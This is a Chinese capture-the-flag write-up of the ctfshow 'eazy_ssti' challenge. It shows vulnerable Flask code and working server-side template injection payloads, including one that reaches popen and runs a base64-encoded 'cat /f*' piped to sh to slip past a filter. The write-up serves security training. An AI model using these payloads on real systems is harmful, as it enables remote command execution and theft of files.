ctfshow-web愚人杯-eazy

ctfshow-web-eazy_ssti

题目截图：

题目简述：

题目给了部分源码，并且只有简单的过滤

打开题目发现什么都没有，看一下源码，发现了app.zip。（这里说的12都会 暗示F12） 先down下来

源码如下：

from flask import 
Flask from flask 
import render_template_string,render_template 
app = Flask(__name__) 
@app.route('/hello/') 
def hello(name=None): 
return render_template('hello.html',name=name) 
@app.route('/hello/') 
def hellodear(name): 
if "ge" in name: 
return render_template_string('hello %s' % name) 
elif 
"f" not in name: return render_template_string('hello %s' % name) 
else: 
return 'Nonononon'

这段代码是一个简单的 Flask 应用，它定义了两个路由： /hello/：可以不传递参数，调用 hello 函数渲染 hello.html 模板。 /hello/：需要传递一个参数 name，调用 hellodear 函数，根据 name 的内容返回不同的结果。 这里头昏了，一直在尝试 url/hello?name= 一直404 还以为是思路不对，仔细查看源码才发现。。。。 然后就直接测试{{7*7}} 后面就很简单了，基本上没有过滤，不在演示具体过程了 payload:   /hello/{{''.__class__.__mro__[1].__subclasses__()}} 把回显全部复制到notepad++ 然后全局替换 逗号为换行符 SSTI原理+ctfshow-web361-CSDN博客 不会弄的来看这篇博客！！！！ 这里cat /f* 失败了，猜测应该是 有过滤 然后ls看一下，发现不在根目录下。有可能是 没有权限/有过滤 先尝试一下绕过

绕过思路 ：

base64+管道符

• echo "Y2F0IC9mKg=="：echo 是一个用于输出字符串的命令，这里它会把字符串 "Y2F0IC9mKg==" 输出到标准输出。
  • |：管道符号，它的作用是将前一个命令的输出作为后一个命令的输入。
    • base64 -d：base64 是用来进行 Base64 编码和解码的工具，-d 选项表示进行解码操作。所以这部分命令会对 echo 输出的 Base64 编码字符串 "Y2F0IC9mKg==" 进行解码。
      • |：再次使用管道符号，把 base64 -d 解码后的结果当作下一个命令的输入。
        • sh：sh 是一个 shell 解释器，它会把接收到的输入当作 shell 脚本代码来执行。

          最终payload

          /hello/ {{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('echo "Y2F0IC9mKg==" | base64 -d |sh').read()}} 直接得到flag: ctfshow{304b5453-d95c-45fb-b42a-ce7726fce423}